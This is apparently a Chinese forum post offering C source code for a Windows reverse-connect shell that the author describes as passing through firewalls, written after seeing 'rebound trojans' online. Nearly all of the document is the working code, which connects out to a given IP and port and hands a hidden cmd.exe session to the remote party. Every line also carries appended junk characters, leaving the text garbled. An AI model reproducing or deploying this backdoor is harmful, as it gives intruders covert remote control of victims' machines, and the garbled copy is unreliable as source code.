这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -+2xdLa63
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/* ============================== 0+`*8G)
Rebound port in Windows NT !F s)"?
By wind,2006/7 91Sb=9
===============================*/ <u%e*
#include [B;Ek\ 5W
#include M#<fh:>
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#pragma comment(lib,"wsock32.lib") lSv;wwEg
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void OutputShell(); -r0\
SOCKET sClient; :h dh$}y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3T^dgWXEG
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void main(int argc,char **argv) QF6JZQh<
{ F&j|Y>m
WSADATA stWsaData; p"
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int nRet; z`{zqP:
SOCKADDR_IN stSaiClient,stSaiServer; &y wY?ox
e~[z]GLO%
if(argc != 3) g5N<B+?!i
{ (w
printf("Useage:\n\rRebound DestIP DestPort\n"); ,colGth54
return; dllf~:b
} f;dU72]q+
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WSAStartup(MAKEWORD(2,2),&stWsaData); P[K
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "r3s'\
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stSaiClient.sin_family = AF_INET; \(t>(4s_~
stSaiClient.sin_port = htons(0); ;AA7wK 4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W%QtJB1)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QRa6*AYm
{ AQU: 0
printf("Bind Socket Failed!\n"); JNCtsfd
return; w:(7fu=
} -zkL)<7
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stSaiServer.sin_family = AF_INET; vK~KeZ\,p=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4?uG> ;V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wA&)y>n-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _qNLy/AY
{ UHHKI)(
printf("Connect Error!"); .[s82c]]6
return; hvZR4|k>
} CUcjJ|MZ
OutputShell(); mQuaO#
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} @y&,e,3!
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void OutputShell() rs+37
{ 1D DOUV
char szBuff[1024]; eZ$1|Sj]j
SECURITY_ATTRIBUTES stSecurityAttributes; {-qTU6
OSVERSIONINFO stOsversionInfo; k=
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xGk4KcxKs
STARTUPINFO stStartupInfo; H43D=N&
char *szShell; ,6pH *b$
PROCESS_INFORMATION stProcessInformation; GQWTQIl]
unsigned long lBytesRead; d'D\#+%>=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ux]@prA q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; &$im^0`r_
stSecurityAttributes.bInheritHandle = TRUE; :N:8O^D^<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w+P^c|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F\72^,0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IbwRb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pSUp"wch
stStartupInfo.wShowWindow = SW_HIDE; ZK*aVYnu
stStartupInfo.hStdInput = hReadPipe; y$NG ..S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4tTJE<y
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GetVersionEx(&stOsversionInfo); @U5>w\
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switch(stOsversionInfo.dwPlatformId) )Cfrqe1^
{ +2O_LPV$,
case 1: zf u78
szShell = "command.com"; ??Ac=K\
break; +06j+I
default: lNAHn<ht
szShell = "cmd.exe"; gu&oCT
break; ij5YV3
} KR0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L\DaZ(Y
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send(sClient,szMsg,77,0); b*fflJ
while(1) ![%,pip2/&
{ b"9,DQB=i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N4-J !r@#~
if(lBytesRead) g7i6Yj1
{ l0)uu4|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #m>mYp8E.5
send(sClient,szBuff,lBytesRead,0); q5PYc.E([
} \>k+Oyj
else 7i/Cax
{ c
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lBytesRead=recv(sClient,szBuff,1024,0); "dTXT
if(lBytesRead<=0) break; ~yN,F pD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yjzNU5F
} Xi.?9J`@
} ]+P&Y:
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return; *6tN o-)^
}